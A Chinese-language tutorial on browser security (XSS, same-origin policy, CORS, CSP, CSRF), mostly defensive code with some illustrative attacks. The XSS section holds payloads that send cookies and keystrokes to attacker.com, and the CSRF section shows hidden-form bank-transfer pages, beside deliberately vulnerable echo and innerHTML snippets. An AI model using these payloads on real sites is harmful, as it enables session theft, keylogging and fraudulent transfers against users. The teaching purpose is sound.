🛡️ 浏览器安全策略全解析:从攻击到防护的完整指南

浏览器安全策略是Web安全的第一道防线。本文将通过生动的攻防实例,带你深入理解SOP、CORS、XSS、CSRF、CSP等核心安全机制,让你不再死记硬背概念,而是真正掌握Web安全的精髓。

🎯 核心安全概念速览

在深入学习之前,让我们先建立一个整体认知:

浏览器安全的核心思想:通过多层防护机制,确保恶意代码无法窃取用户数据或执行未授权操作。

🔥 常见攻击方式

  • **XSS (跨站脚本攻击)**:注入恶意JavaScript代码
  • **CSRF (跨站请求伪造)**:利用用户身份执行未授权操作
  • 点击劫持:诱导用户点击隐藏元素
  • 中间人攻击:拦截和篡改网络通信

攻击者的目标:窃取用户凭证、执行恶意操作、获取敏感信息

🛡️ 浏览器防护策略

  • **SOP (同源策略)**:限制跨域资源访问
  • **CORS (跨域资源共享)**:安全的跨域请求机制
  • **CSP (内容安全策略)**:防止XSS攻击的强力工具
  • CSRF Token:防止跨站请求伪造
  • SameSite Cookie:限制Cookie的跨站发送

防护理念:最小权限原则 + 纵深防御


一、XSS攻击:当恶意代码潜入你的网站 💀

🎭 XSS的本质

XSS就像特洛伊木马,攻击者将恶意JavaScript代码伪装成正常内容,一旦用户访问页面,木马就会激活并执行恶意操作。

🔍 三种XSS攻击类型

反射型XSS - 即时攻击

攻击流程:恶意代码通过URL参数传递,服务器直接返回到页面中执行

1
2
3
4
5
6
7
8
9
10
<!-- 易受攻击的搜索页面 -->
<div>搜索结果: <?php echo $_GET['keyword']; ?></div>

<!-- 攻击者构造的恶意URL -->
https://vulnerable-site.com/search?keyword=<script>alert('XSS攻击!')</script>

<!-- 实际更危险的攻击载荷 -->
https://vulnerable-site.com/search?keyword=<script>
document.location='http://attacker.com/steal.php?cookie='+document.cookie
</script>

攻击演示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// 攻击者的恶意脚本
<script>
// 窃取用户Cookie
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({
cookie: document.cookie,
url: window.location.href,
userAgent: navigator.userAgent
})
});

// 重定向到钓鱼网站
setTimeout(() => {
window.location.href = 'https://fake-bank.com/login';
}, 2000);
</script>

危险指数: ⭐⭐⭐⭐
传播方式: 恶意链接、钓鱼邮件

💣 存储型XSS - 持久化攻击

攻击流程:恶意代码被存储到服务器数据库,每次页面加载都会执行

1
2
3
4
5
<!-- 易受攻击的评论系统 -->
<div class="comment">
<h4>用户评论</h4>
<p><?php echo $comment['content']; ?></p>
</div>

恶意评论示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<script>
// 创建隐藏的iframe窃取其他用户数据
var iframe = document.createElement('iframe');
iframe.style.display = 'none';
iframe.src = 'https://attacker.com/collect.php?victim=' + document.cookie;
document.body.appendChild(iframe);

// 键盘记录器
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog', {
method: 'POST',
body: JSON.stringify({
key: e.key,
target: e.target.tagName,
url: window.location.href
})
});
});
</script>

危险指数: ⭐⭐⭐⭐⭐
影响范围: 所有访问该页面的用户

🎯 DOM型XSS - 客户端攻击

攻击流程:通过修改DOM结构执行恶意代码,不经过服务器

1
2
3
4
5
6
7
8
// 易受攻击的客户端代码
function updateContent() {
const hash = window.location.hash.substring(1);
document.getElementById('content').innerHTML = decodeURIComponent(hash);
}

// 攻击者构造的恶意URL
https://site.com/page.html#<img src=x onerror="alert('DOM XSS')">

特点: 不经过服务器,难以检测和防护
危险指数: ⭐⭐⭐⭐

🛡️ XSS防护实战

🔍 输入验证 - 第一道防线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 后端安全过滤(Node.js示例)
const DOMPurify = require('isomorphic-dompurify');

function sanitizeInput(input) {
// HTML实体编码
const encoded = input
.replace(/&/g, '&amp;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/"/g, '&quot;')
.replace(/'/g, '&#x27;');

return encoded;
}

// 使用DOMPurify库进行深度清理
function sanitizeHtml(dirty) {
return DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href'],
ALLOW_DATA_ATTR: false
});
}

🛡️ CSP策略 - 强力防护

1
2
3
4
5
6
7
8
<!-- 基础CSP配置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self';
object-src 'none';">
1
2
3
4
5
6
7
8
9
10
11
12
13
// 服务器端生成随机nonce
const crypto = require('crypto');
const nonce = crypto.randomBytes(16).toString('base64');

// 在HTML中使用
res.send(`
<meta http-equiv="Content-Security-Policy"
content="script-src 'self' 'nonce-${nonce}';">
<script nonce="${nonce}">
// 只有带正确nonce的脚本才能执行
console.log('安全的脚本');
</script>
`);

二、同源策略(SOP):浏览器的安全边界 🏰

🏛️ 同源策略的本质

同源策略就像国家边境管制,只有来自同一个”国家”(源)的资源才能自由交流,不同”国家”的资源访问受到严格限制。

🔍 什么是”同源”?

📊 同源策略详解

🎯 同源判断 - 实例分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 基准URL: https://example.com:443/page
const baseUrl = 'https://example.com:443/page';

const testUrls = [
'https://example.com/other', // ✅ 同源(默认端口443)
'https://example.com:443/api', // ✅ 同源(明确端口443)
'http://example.com/page', // ❌ 协议不同(http vs https)
'https://api.example.com/data', // ❌ 子域名不同
'https://example.com:8080/api', // ❌ 端口不同
'https://example.org/page', // ❌ 域名不同
];

// 浏览器同源检测函数模拟
function isSameOrigin(url1, url2) {
const a = new URL(url1);
const b = new URL(url2);

return a.protocol === b.protocol &&
a.hostname === b.hostname &&
a.port === b.port;
}

// 测试结果
testUrls.forEach(url => {
console.log(`${url}: ${isSameOrigin(baseUrl, url) ? '✅ 同源' : '❌ 跨域'}`);
});

豁免场景 - 允许的跨域操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- 1. 图片资源加载 - 可以跨域 -->
<img src="https://cdn.other-domain.com/image.jpg" alt="跨域图片">

<!-- 2. CSS样式加载 - 可以跨域 -->
<link rel="stylesheet" href="https://cdn.other-domain.com/styles.css">

<!-- 3. JavaScript脚本加载 - 可以跨域 -->
<script src="https://cdn.other-domain.com/script.js"></script>

<!-- 4. 字体文件加载 - 可以跨域 -->
<style>
@font-face {
font-family: 'CustomFont';
src: url('https://fonts.other-domain.com/font.woff2');
}
</style>

重要限制说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// 虽然可以加载跨域资源,但JavaScript无法读取其内容

// ❌ 无法读取跨域图片像素数据
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
const img = new Image();
img.src = 'https://other-domain.com/image.jpg';
img.onload = function() {
ctx.drawImage(img, 0, 0);
try {
// SecurityError: canvas被跨域图片"污染"
const imageData = ctx.getImageData(0, 0, 100, 100);
} catch (error) {
console.error('无法读取跨域图片数据:', error);
}
};

三、CORS:安全的跨域通行证 🌉

🌉 CORS的本质

CORS就像是外交签证系统,允许不同”国家”(域)之间进行受控的资源共享。服务器主动颁发”签证”(响应头),浏览器检查”签证”有效性后放行。

🔄 CORS工作流程

📋 CORS请求分类

简单请求 - 直接发送

满足以下条件的请求被视为简单请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// 1. 请求方法限制
const simpleMethods = ['GET', 'POST', 'HEAD'];

// 2. 请求头限制(只能包含以下字段)
const simpleHeaders = [
'Accept',
'Accept-Language',
'Content-Language',
'Content-Type' // 仅限于特定值
];

// 3. Content-Type限制
const simpleContentTypes = [
'text/plain',
'multipart/form-data',
'application/x-www-form-urlencoded'
];

// ✅ 简单请求示例
fetch('https://api.example.com/data', {
method: 'GET',
headers: {
'Accept': 'application/json'
}
});

// ✅ 简单POST请求
fetch('https://api.example.com/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: 'name=张三&age=25'
});

简单请求特点:浏览器直接发送请求,不会触发预检

🔍 预检请求 - 需要预检

以下情况会触发预检请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// ❌ 非简单方法
fetch('https://api.example.com/data', {
method: 'PUT', // 触发预检
body: JSON.stringify({name: '张三'})
});

// ❌ 自定义请求头
fetch('https://api.example.com/data', {
method: 'GET',
headers: {
'X-Custom-Header': 'value', // 触发预检
'Authorization': 'Bearer token' // 触发预检
}
});

// ❌ JSON Content-Type
fetch('https://api.example.com/data', {
method: 'POST',
headers: {
'Content-Type': 'application/json' // 触发预检
},
body: JSON.stringify({data: 'test'})
});

预检请求详细流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// 1. 浏览器发送OPTIONS预检请求
/*
OPTIONS /api/data HTTP/1.1
Host: api.example.com
Origin: https://app.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type, Authorization
*/

// 2. 服务器响应预检
/*
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
*/

// 3. 预检通过后,发送实际请求

🛠️ CORS配置实战

🖥️ 服务器配置 - 各种场景

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// Node.js + Express 完整CORS配置
const express = require('express');
const app = express();

// 1. 基础CORS中间件
function corsMiddleware(req, res, next) {
const origin = req.headers.origin;

// 允许的源列表
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com',
'http://localhost:3000' // 开发环境
];

// 检查源是否被允许
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}

// 允许的方法
res.setHeader('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS');

// 允许的请求头
res.setHeader('Access-Control-Allow-Headers',
'Content-Type, Authorization, X-Requested-With, X-Custom-Header');

// 允许发送Cookie
res.setHeader('Access-Control-Allow-Credentials', 'true');

// 预检请求缓存时间(24小时)
res.setHeader('Access-Control-Max-Age', '86400');

// 处理OPTIONS预检请求
if (req.method === 'OPTIONS') {
return res.status(200).end();
}

next();
}

app.use(corsMiddleware);

// 2. 动态CORS配置
const corsConfig = {
development: {
allowedOrigins: ['http://localhost:3000', 'http://localhost:8080'],
allowCredentials: true
},
production: {
allowedOrigins: ['https://app.example.com'],
allowCredentials: true
}
};

function dynamicCors(req, res, next) {
const env = process.env.NODE_ENV || 'development';
const config = corsConfig[env];

const origin = req.headers.origin;
if (config.allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', config.allowCredentials);
}

next();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# Python Flask 配置示例
from flask import Flask, request, jsonify
from flask_cors import CORS, cross_origin

app = Flask(__name__)

# 1. 全局CORS配置
CORS(app,
origins=['https://app.example.com', 'https://admin.example.com'],
methods=['GET', 'POST', 'PUT', 'DELETE'],
allow_headers=['Content-Type', 'Authorization'],
supports_credentials=True)

# 2. 单个路由CORS配置
@app.route('/api/sensitive-data')
@cross_origin(origins=['https://trusted-app.com'], methods=['GET'])
def get_sensitive_data():
return jsonify({'data': 'sensitive information'})

# 3. 条件CORS配置
@app.route('/api/public-data')
def get_public_data():
origin = request.headers.get('Origin')

# 公共API,允许所有源访问
response = jsonify({'data': 'public information'})
response.headers['Access-Control-Allow-Origin'] = '*'

return response

🌐 客户端实现 - 正确使用CORS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
// 1. 封装CORS请求类
class CORSClient {
constructor(baseURL, options = {}) {
this.baseURL = baseURL;
this.defaultOptions = {
credentials: 'include', // 发送Cookie
headers: {
'Content-Type': 'application/json',
...options.headers
}
};
}

async request(endpoint, options = {}) {
const url = `${this.baseURL}${endpoint}`;
const config = {
...this.defaultOptions,
...options,
headers: {
...this.defaultOptions.headers,
...options.headers
}
};

try {
const response = await fetch(url, config);

if (!response.ok) {
throw new Error(`HTTP ${response.status}: ${response.statusText}`);
}

return await response.json();
} catch (error) {
if (error.name === 'TypeError' && error.message.includes('CORS')) {
console.error('CORS错误:请检查服务器CORS配置');
throw new Error('跨域请求被阻止,请联系管理员');
}
throw error;
}
}

// 便捷方法
get(endpoint, params = {}) {
const query = new URLSearchParams(params).toString();
const url = query ? `${endpoint}?${query}` : endpoint;
return this.request(url, { method: 'GET' });
}

post(endpoint, data) {
return this.request(endpoint, {
method: 'POST',
body: JSON.stringify(data)
});
}
}

// 2. 使用示例
const apiClient = new CORSClient('https://api.example.com');

// 处理CORS错误
async function fetchUserData(userId) {
try {
const userData = await apiClient.get(`/users/${userId}`);
console.log('用户数据:', userData);
return userData;
} catch (error) {
if (error.message.includes('跨域')) {
// 显示用户友好的错误信息
showErrorMessage('网络连接问题,请稍后重试');
} else {
showErrorMessage('获取数据失败');
}
console.error('请求失败:', error);
}
}

🔒 安全配置 - 避免常见陷阱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// ❌ 危险配置 - 永远不要这样做!
app.use((req, res, next) => {
res.setHeader('Access-Control-Allow-Origin', '*'); // 允许所有源
res.setHeader('Access-Control-Allow-Credentials', 'true'); // 同时允许凭证
// 这种配置组合是被浏览器禁止的,而且极不安全!
next();
});

// ✅ 安全配置示例
const secureCorsMidllware = (req, res, next) => {
const origin = req.headers.origin;

// 1. 严格的源验证
const allowedOrigins = process.env.ALLOWED_ORIGINS?.split(',') || [];

if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);

// 2. 根据API类型设置凭证策略
if (req.path.startsWith('/api/auth/') || req.path.startsWith('/api/user/')) {
res.setHeader('Access-Control-Allow-Credentials', 'true');
}

// 3. 限制允许的方法
const safeMethods = ['GET', 'POST', 'PUT', 'DELETE'];
res.setHeader('Access-Control-Allow-Methods', safeMethods.join(', '));

// 4. 限制允许的请求头
const allowedHeaders = [
'Content-Type',
'Authorization',
'X-Requested-With'
];
res.setHeader('Access-Control-Allow-Headers', allowedHeaders.join(', '));

// 5. 设置合理的缓存时间
res.setHeader('Access-Control-Max-Age', '3600'); // 1小时
} else {
// 记录未授权的跨域请求尝试
console.warn(`未授权的跨域请求来自: ${origin}`);
}

next();
};

// 使用环境变量管理允许的源
// .env 文件
// ALLOWED_ORIGINS=https://app.example.com,https://admin.example.com

CORS安全要点

  1. 🚫 绝不使用 Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true
  2. 📝 严格验证 允许的源,使用白名单机制
  3. 🔍 最小权限原则 只允许必要的方法和请求头
  4. 📊 记录和监控 跨域请求,发现异常访问

🚨 CORS安全风险与防护

⚠️ 常见CORS安全问题

1. 过度宽松的配置

1
2
3
4
5
// ❌ 极其危险的配置
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Methods', '*');
res.setHeader('Access-Control-Allow-Headers', '*');
// 这样配置等于完全放弃了同源策略的保护!

2. 动态源验证漏洞

1
2
3
4
5
6
// ❌ 存在安全漏洞的代码
const origin = req.headers.origin;
if (origin && origin.endsWith('.example.com')) {
res.setHeader('Access-Control-Allow-Origin', origin);
}
// 攻击者可以注册 evil.example.com 绕过验证!

3. 正确的安全实现

1
2
3
4
5
6
7
8
9
10
11
// ✅ 安全的源验证
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://admin.example.com',
'https://mobile.example.com'
]);

const origin = req.headers.origin;
if (ALLOWED_ORIGINS.has(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
}

四、CSP:XSS攻击的强力克星 🛡️

🛡️ CSP的本质

CSP(内容安全策略)就像是网站的安全守卫,它定义了哪些资源可以被加载和执行,哪些不可以。即使攻击者成功注入了恶意代码,CSP也能阻止其执行,是防护XSS攻击的最后一道防线。

🔧 CSP工作原理

📋 CSP指令详解

🎯 核心指令 - 控制资源加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- 1. default-src: 默认源,其他未指定的指令都会继承这个设置 -->
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';">

<!-- 2. script-src: 控制JavaScript脚本的来源 -->
<meta http-equiv="Content-Security-Policy"
content="script-src 'self' https://cdn.jsdelivr.net;">

<!-- 3. style-src: 控制CSS样式的来源 -->
<meta http-equiv="Content-Security-Policy"
content="style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;">

<!-- 4. img-src: 控制图片资源的来源 -->
<meta http-equiv="Content-Security-Policy"
content="img-src 'self' data: https:;">

<!-- 5. connect-src: 控制Ajax、WebSocket等连接的目标 -->
<meta http-equiv="Content-Security-Policy"
content="connect-src 'self' https://api.example.com;">

CSP关键字说明

1
2
3
4
5
6
7
8
9
10
const cspKeywords = {
"'self'": "只允许同源资源",
"'none'": "不允许任何资源",
"'unsafe-inline'": "允许内联脚本/样式(不安全)",
"'unsafe-eval'": "允许eval()等动态代码执行(不安全)",
"'strict-dynamic'": "信任动态加载的脚本",
"data:": "允许data: URI",
"https:": "允许所有HTTPS资源",
"*.example.com": "允许example.com的所有子域名"
};

高级控制 - 精细化管理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!-- 1. object-src: 控制<object>、<embed>、<applet>标签 -->
<meta http-equiv="Content-Security-Policy"
content="object-src 'none';">

<!-- 2. media-src: 控制音频和视频资源 -->
<meta http-equiv="Content-Security-Policy"
content="media-src 'self' https://video.example.com;">

<!-- 3. frame-src: 控制iframe的源 -->
<meta http-equiv="Content-Security-Policy"
content="frame-src 'none';">

<!-- 4. font-src: 控制字体文件的来源 -->
<meta http-equiv="Content-Security-Policy"
content="font-src 'self' https://fonts.gstatic.com;">

<!-- 5. manifest-src: 控制Web App Manifest -->
<meta http-equiv="Content-Security-Policy"
content="manifest-src 'self';">

安全增强指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!-- 6. base-uri: 限制页面的base URL -->
<meta http-equiv="Content-Security-Policy"
content="base-uri 'self';">

<!-- 7. form-action: 限制表单提交的目标 -->
<meta http-equiv="Content-Security-Policy"
content="form-action 'self' https://secure.example.com;">

<!-- 8. frame-ancestors: 控制页面是否可以被嵌入iframe -->
<meta http-equiv="Content-Security-Policy"
content="frame-ancestors 'none';">

<!-- 9. upgrade-insecure-requests: 自动将HTTP升级为HTTPS -->
<meta http-equiv="Content-Security-Policy"
content="upgrade-insecure-requests;">

🛠️ CSP实战配置

📈 渐进部署 - 从监控到强制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// 第一阶段:仅监控模式 (Report-Only)
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy-Report-Only',
"default-src 'self'; " +
"script-src 'self' 'unsafe-inline'; " +
"style-src 'self' 'unsafe-inline'; " +
"img-src 'self' data: https:; " +
"report-uri /csp-report; " +
"report-to csp-endpoint"
);
next();
});

// CSP违规报告处理
app.post('/csp-report', express.json(), (req, res) => {
const report = req.body['csp-report'];

console.log('CSP违规报告:', {
documentUri: report['document-uri'],
violatedDirective: report['violated-directive'],
blockedUri: report['blocked-uri'],
sourceFile: report['source-file'],
lineNumber: report['line-number'],
timestamp: new Date().toISOString()
});

// 存储到日志系统进行分析
logCSPViolation(report);

res.status(204).end();
});

// 第二阶段:逐步收紧策略
const cspPolicies = {
phase1: {
'default-src': "'self'",
'script-src': "'self' 'unsafe-inline' https://cdn.jsdelivr.net",
'style-src': "'self' 'unsafe-inline' https://fonts.googleapis.com",
'img-src': "'self' data: https:",
'report-uri': "/csp-report"
},

phase2: {
'default-src': "'self'",
'script-src': "'self' https://cdn.jsdelivr.net", // 移除unsafe-inline
'style-src': "'self' https://fonts.googleapis.com",
'img-src': "'self' data: https:",
'report-uri': "/csp-report"
},

phase3: {
'default-src': "'self'",
'script-src': "'self'", // 只允许同源脚本
'style-src': "'self'",
'img-src': "'self' data:",
'connect-src': "'self' https://api.example.com",
'object-src': "'none'",
'base-uri': "'self'",
'frame-ancestors': "'none'",
'report-uri': "/csp-report"
}
};

🎲 Nonce策略 - 最安全的方案

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
// 服务器端:生成和使用Nonce
const crypto = require('crypto');

function generateNonce() {
return crypto.randomBytes(16).toString('base64');
}

app.use((req, res, next) => {
// 为每个请求生成唯一的nonce
res.locals.scriptNonce = generateNonce();
res.locals.styleNonce = generateNonce();

// 设置CSP头
res.setHeader('Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${res.locals.scriptNonce}'; ` +
`style-src 'self' 'nonce-${res.locals.styleNonce}'; ` +
`object-src 'none'; ` +
`base-uri 'self'; ` +
`frame-ancestors 'none';`
);

next();
});

// 在模板中使用nonce
app.get('/', (req, res) => {
const html = `
<!DOCTYPE html>
<html>
<head>
<style nonce="${res.locals.styleNonce}">
body { font-family: Arial, sans-serif; }
.safe-style { color: blue; }
</style>
</head>
<body>
<h1>安全的页面</h1>
<div class="safe-style">这个样式是安全的</div>

<script nonce="${res.locals.scriptNonce}">
// 只有带有正确nonce的脚本才能执行
console.log('这个脚本是安全的');

// 安全的事件处理
document.addEventListener('DOMContentLoaded', function() {
console.log('页面加载完成');
});
</script>

<!-- ❌ 这个脚本没有nonce,会被CSP阻止 -->
<!-- <script>alert('这个脚本会被阻止');</script> -->
</body>
</html>
`;

res.send(html);
});

React应用中的Nonce使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// React组件中使用nonce
function SecureComponent({ scriptNonce, styleNonce }) {
useEffect(() => {
// 动态添加脚本时也需要nonce
const script = document.createElement('script');
script.nonce = scriptNonce;
script.textContent = `
console.log('动态脚本执行');
`;
document.head.appendChild(script);

return () => {
document.head.removeChild(script);
};
}, [scriptNonce]);

return (
<div>
<style nonce={styleNonce}>
{`.dynamic-style { background: yellow; }`}
</style>
<div className="dynamic-style">动态样式内容</div>
</div>
);
}

🏗️ 生产配置 - 企业级部署

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
// 企业级CSP配置
class CSPManager {
constructor(options = {}) {
this.environment = options.environment || 'production';
this.reportUri = options.reportUri || '/csp-report';
this.trustedDomains = options.trustedDomains || [];
}

generatePolicy() {
const basePolicy = {
'default-src': ["'self'"],
'object-src': ["'none'"],
'base-uri': ["'self'"],
'frame-ancestors': ["'none'"],
'form-action': ["'self'"],
'upgrade-insecure-requests': true
};

// 根据环境调整策略
if (this.environment === 'development') {
return this.getDevelopmentPolicy(basePolicy);
} else {
return this.getProductionPolicy(basePolicy);
}
}

getDevelopmentPolicy(base) {
return {
...base,
'script-src': [
"'self'",
"'unsafe-eval'", // 开发工具需要
'localhost:*',
'127.0.0.1:*'
],
'style-src': [
"'self'",
"'unsafe-inline'", // HMR需要
'localhost:*'
],
'connect-src': [
"'self'",
'ws://localhost:*', // WebSocket HMR
'http://localhost:*'
],
'img-src': ["'self'", 'data:', 'blob:']
};
}

getProductionPolicy(base) {
return {
...base,
'script-src': [
"'self'",
...this.trustedDomains,
// 使用哈希值允许特定脚本
"'sha256-xyz123...'",
],
'style-src': [
"'self'",
'https://fonts.googleapis.com',
...this.trustedDomains
],
'img-src': [
"'self'",
'data:',
'https:',
...this.trustedDomains
],
'connect-src': [
"'self'",
'https://api.example.com',
'https://analytics.example.com'
],
'font-src': [
"'self'",
'https://fonts.gstatic.com'
],
'report-uri': [this.reportUri],
'report-to': ['csp-endpoint']
};
}

formatPolicy(policy) {
return Object.entries(policy)
.map(([directive, sources]) => {
if (typeof sources === 'boolean') {
return sources ? directive : null;
}
return `${directive} ${sources.join(' ')}`;
})
.filter(Boolean)
.join('; ');
}

middleware() {
return (req, res, next) => {
const policy = this.generatePolicy();
const policyString = this.formatPolicy(policy);

res.setHeader('Content-Security-Policy', policyString);

// 同时设置Report-Only用于监控
if (this.environment === 'production') {
res.setHeader('Content-Security-Policy-Report-Only',
policyString.replace(this.reportUri, '/csp-report-only')
);
}

next();
};
}
}

// 使用示例
const cspManager = new CSPManager({
environment: process.env.NODE_ENV,
reportUri: '/security/csp-report',
trustedDomains: [
'https://cdn.jsdelivr.net',
'https://unpkg.com'
]
});

app.use(cspManager.middleware());

五、CSRF:隐形的身份冒用攻击 🎭

🎭 CSRF的本质

CSRF就像是身份冒用诈骗,攻击者利用用户在目标网站的身份凭证(Cookie),在用户不知情的情况下执行恶意操作。用户就像被人拿着身份证去银行转账,而自己却毫不知情。

🔍 CSRF攻击原理

💀 CSRF攻击实例

GET型攻击 - 最简单的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<!-- 攻击者在恶意网站上放置的代码 -->
<!DOCTYPE html>
<html>
<head>
<title>免费抽奖!</title>
</head>
<body>
<h1>🎉 恭喜你获得大奖!</h1>
<p>正在为你领取奖品...</p>

<!-- 隐藏的恶意图片,触发CSRF攻击 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000"
style="display:none;" />

<!-- 批量攻击:同时攻击多个网站 -->
<img src="https://social.com/api/follow?user=attacker" style="display:none;" />
<img src="https://email.com/api/forward?to=attacker@evil.com" style="display:none;" />

<script>
// 延迟攻击,避免被发现
setTimeout(() => {
window.location.href = '/real-prize-page.html';
}, 3000);
</script>
</body>
</html>

攻击效果

  • 用户看到的:一个正常的抽奖页面
  • 实际发生的:银行账户被转走10000元,社交账号被关注,邮件被转发…

💣 POST型攻击 - 更隐蔽的攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!-- 攻击者构造的恶意页面 -->
<!DOCTYPE html>
<html>
<head>
<title>网站维护通知</title>
</head>
<body>
<h2>系统维护中,请稍候...</h2>
<div id="loading">🔄 正在重定向...</div>

<!-- 隐藏的恶意表单 -->
<form id="csrf-form" action="https://bank.com/api/transfer" method="POST" style="display:none;">
<input type="hidden" name="to_account" value="attacker-account">
<input type="hidden" name="amount" value="50000">
<input type="hidden" name="memo" value="Business payment">
</form>

<script>
// 延迟执行,避免被怀疑
setTimeout(() => {
document.getElementById('csrf-form').submit();
}, 1000);

// 显示正常内容,掩盖攻击行为
setTimeout(() => {
document.body.innerHTML = '<h2>感谢访问,页面即将跳转...</h2>';
}, 2000);
</script>
</body>
</html>

🛡️ CSRF防护策略

🎫 CSRF Token - 经典防护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 服务器端:生成和验证CSRF Token
const crypto = require('crypto');

// 1. Token生成
function generateCSRFToken(sessionId) {
const secret = process.env.CSRF_SECRET || 'your-secret-key';
const timestamp = Date.now();

// 使用HMAC生成token
const hmac = crypto.createHmac('sha256', secret);
hmac.update(`${sessionId}:${timestamp}`);
const signature = hmac.digest('hex');

return `${timestamp}.${signature}`;
}

// 2. Token验证中间件
function csrfProtection(req, res, next) {
// GET请求不需要CSRF保护
if (req.method === 'GET') {
return next();
}

const token = req.headers['x-csrf-token'] ||
req.body._csrf ||
req.query._csrf;

const sessionId = req.session.id;

if (!verifyCSRFToken(token, sessionId)) {
return res.status(403).json({
error: 'CSRF token验证失败'
});
}

next();
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
// 客户端:使用CSRF Token
class CSRFProtectedAPI {
constructor() {
this.csrfToken = null;
this.initCSRFToken();
}

async initCSRFToken() {
try {
const response = await fetch('/api/csrf-token', {
credentials: 'include'
});
const data = await response.json();
this.csrfToken = data.csrfToken;
} catch (error) {
console.error('获取CSRF Token失败:', error);
}
}

async post(url, data) {
if (!this.csrfToken) {
await this.initCSRFToken();
}

return fetch(url, {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': this.csrfToken
},
body: JSON.stringify(data)
});
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// 服务器端:设置SameSite Cookie
app.use(session({
name: 'sessionId',
secret: 'session-secret',
cookie: {
